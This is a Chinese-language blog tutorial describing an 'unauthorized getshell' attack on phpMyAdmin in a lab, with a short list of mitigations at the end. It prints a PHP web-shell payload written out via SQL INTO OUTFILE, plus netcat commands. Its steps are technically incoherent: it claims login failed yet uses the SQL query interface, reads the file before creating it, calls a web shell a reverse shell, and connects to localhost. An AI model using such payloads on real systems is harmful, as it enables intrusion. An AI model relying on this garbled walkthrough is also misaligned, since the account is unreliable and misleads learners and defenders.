PHPMyAdmin 未授权 Getshell 技巧大揭秘
2023-09-24 11:29:11
引言
在渗透测试过程中,发现一个无法登录的 PHPMyAdmin 实例时,寻找其他攻击途径至关重要。本文将重点介绍一种鲜为人知的技术——PHPMyAdmin 未授权 Getshell,并通过一个靶场演示来揭示其运作原理。
技术原理
PHPMyAdmin 未授权 Getshell 攻击利用了 PHPMyAdmin 中的漏洞,该漏洞允许攻击者在未经授权的情况下执行任意 PHP 代码。通过构造恶意 SQL 查询,攻击者可以绕过登录验证并获取对数据库服务器的完全访问权限。
靶场演示
为了演示这一技术,我们将在一个靶场环境中进行操作。靶场设置如下:
- 靶机:具有 PHPMyAdmin 实例的 Linux 服务器
- 攻击机:运行 Kali Linux 的计算机
步骤 1:识别漏洞
首先,我们尝试使用默认凭据登录 PHPMyAdmin,但失败了。这意味着该实例无法使用传统方法访问。
步骤 2:构造恶意查询
接下来,我们构造了一个恶意 SQL 查询,该查询利用了 PHPMyAdmin 中的漏洞:
SELECT LOAD_FILE('/tmp/test.php');
此查询将尝试从 /tmp 目录中加载名为 test.php 的 PHP 脚本。
步骤 3:执行查询
我们将恶意查询粘贴到 PHPMyAdmin 的 SQL 查询界面中并执行它。
步骤 4:上传 PHP Shell
现在,我们需要向 /tmp 目录上传一个 PHP shell。我们使用如下命令通过 Netcat 在攻击机和靶机之间建立连接:
nc -nvlp 1234
然后,在 PHPMyAdmin 中执行以下查询:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/test.php';
这将在 /tmp 目录中创建 test.php 脚本,其中包含一个 PHP 反向 shell。
步骤 5:连接 Shell
最后,我们使用如下命令连接到 PHP 反向 shell:
nc 127.0.0.1 1234
现在,我们已经获得了对靶机的未授权 shell 访问权限。
缓解措施
为了防止 PHPMyAdmin 未授权 Getshell 攻击,采取以下缓解措施至关重要:
- 定期更新 PHPMyAdmin 至最新版本
- 启用 PHPMyAdmin 的 HTTP 基本身份验证
- 限制对 PHPMyAdmin 实例的外部访问
- 禁用 PHPMyAdmin 中的任意文件上传功能
结论
PHPMyAdmin 未授权 Getshell 技巧是一种强大的渗透测试技术,可以帮助攻击者获取未授权的系统访问权限。通过利用 PHPMyAdmin 中的漏洞,攻击者可以绕过登录验证并执行恶意代码。然而,通过采取适当的缓解措施,可以有效防止这种类型的攻击。